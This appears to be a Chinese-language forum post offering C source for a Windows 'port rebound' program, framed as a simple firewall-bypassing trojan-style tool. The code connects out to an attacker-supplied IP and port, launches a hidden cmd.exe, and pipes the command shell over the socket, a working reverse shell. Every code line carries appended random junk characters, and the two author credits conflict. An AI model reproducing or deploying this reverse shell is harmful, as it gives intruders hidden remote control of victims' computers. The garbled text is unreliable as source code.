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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 hJ|zX  
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/* ============================== vT1StOx<V  
Rebound port in Windows NT iG+hj:5  
By wind,2006/7 k9Pwf"m|](  
===============================*/ gs/ i%O  
#include Vd%%lv{v  
#include ~F; ~  
ZhvZe/  
#pragma comment(lib,"wsock32.lib") bEvlk\iql  
) oypl+y  
void OutputShell(); % )o'9  
SOCKET sClient; IZ2(F,{o  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2&b?NqEeZ  
%mF:nU4  
void main(int argc,char **argv) *.F^`]yz  
{ 1 >}x9D  
WSADATA stWsaData; cJ^{iOQ+  
int nRet; FUTD/y]Lu  
SOCKADDR_IN stSaiClient,stSaiServer; 2?c##Izn  
]:"<if gp$  
if(argc != 3) LZR x>q^  
{ fGtYvl O-5  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~9ZW~z'  
return; "/ 9EUbca  
} Q vc$D{z  
3fBV SFVS  
WSAStartup(MAKEWORD(2,2),&stWsaData); *Rx&#9  
qz_'v{uAj  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _dQg5CmlG  
"O (N=|b  
stSaiClient.sin_family = AF_INET; sd m4zV]&  
stSaiClient.sin_port = htons(0); ),!1B%  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); H\vd0DD;  
L|hoA9/]  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) m.6O%jD  
{ UgD|tuz]  
printf("Bind Socket Failed!\n"); C 9{8!fYp  
return; `xXpP"*o}  
} iY[+BI:  
3bU(ea^e$  
stSaiServer.sin_family = AF_INET; W[VbFsI&b  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }w_r(g?\  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); U\'HB.P\  
<@4 48,9&  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _/c1b>kcso  
{ ko-,l6E  
printf("Connect Error!"); *r90IS}A$2  
return; -ZVCb@%  
} tg~@(IT}j  
OutputShell(); nhdOo   
} /}kG$ ~  
qdCcMcGt  
void OutputShell() )hy(0 D  
{ w,)O*1't  
char szBuff[1024]; ye^*Z>|  
SECURITY_ATTRIBUTES stSecurityAttributes; *"qS  
OSVERSIONINFO stOsversionInfo; 7ciSIJ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;}>g/lw  
STARTUPINFO stStartupInfo;  Gv(?u  
char *szShell; P Y&(ObC  
PROCESS_INFORMATION stProcessInformation; >.=v*\P  
unsigned long lBytesRead; o)]mJb~XG-  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1OI/,y8}  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^!v{ >3  
stSecurityAttributes.lpSecurityDescriptor = 0; ,wYA_1$$H  
stSecurityAttributes.bInheritHandle = TRUE; ABaK60.O[O  
^0tO2$  
}N0$DqP  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); '#eY4d<i]n  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Y n7z#bu  
r gw@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2 ":W^P  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3 BQZ[%0@  
stStartupInfo.wShowWindow = SW_HIDE; ?se\?q  
stStartupInfo.hStdInput = hReadPipe; ;R[w}#Sm  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Z<IN>:l  
x@LNjlP  
GetVersionEx(&stOsversionInfo); 5._1G| 3  
$a#-d;  
switch(stOsversionInfo.dwPlatformId) Fm#`}K_  
{ T0e- X  
case 1: f`vu+nw  
szShell = "command.com"; /$'|`jKsB  
break; 5Y4#aq  
default: xf4CM,Z7(  
szShell = "cmd.exe"; =THRy ZCH  
break; oAprM Z 7Y  
} MUW&m2  
=kP|TR!o-  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); KD* xFap  
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send(sClient,szMsg,77,0); `UD,ne  
while(1) =@ d/SZ|(E  
{ or qL0i  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); uA[c$tBe  
if(lBytesRead) H3 >49;`  
{ (jp!q ,)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :\F1S:&P  
send(sClient,szBuff,lBytesRead,0); b!4Z~d0=  
} f2iA5 rCV]  
else #V$h?`qhwr  
{ Dq[Z0"8  
lBytesRead=recv(sClient,szBuff,1024,0); BVzMgn;  
if(lBytesRead<=0) break; <~teD[1k"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _Kwp8_kTr  
} 5ktFL<^5T  
} ]|_UpP8EP  
=/e$Rp  
return; 1k0*WCfZ  
}
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